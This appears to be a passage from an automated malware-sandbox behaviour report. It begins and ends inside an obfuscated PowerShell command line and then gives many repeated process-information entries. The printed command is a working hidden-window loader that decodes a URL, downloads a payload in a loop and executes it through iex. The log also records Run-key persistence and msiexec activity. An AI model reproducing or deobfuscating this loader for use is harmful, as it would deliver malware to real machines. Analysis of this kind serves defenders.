(Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM .
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM .			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07A7992B push 8B05EA24h; iretd	4_2_07A79936
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04662241 push ss; ret	14_2_04662257
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04662801 push ecx; retf	14_2_04662803
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_046612C4 push ebp; retf	14_2_046612EA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04663ECB push esi; retf	14_2_04663ECC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_0466336A push E648F064h; iretd	14_2_0466336F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04662BE5 push A1D9F17Dh; retf	14_2_04662BEC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_046649F3 push ebx; retf	14_2_046649B9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04660FCC push esp; iretd	14_2_04660FDF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04660FD4 push esp; iretd	14_2_04660FDF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04660BAA push ebp; iretd	14_2_04660BAE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_046649A8 push ebx; retf	14_2_046649B9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04660D82 push ebx; iretd	14_2_04660D83
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_0466178F push eax; ret	14_2_04661790
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 14_2_04664F8F push edi; retf	14_2_04664F9A

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Sorbed			Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Sorbed			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
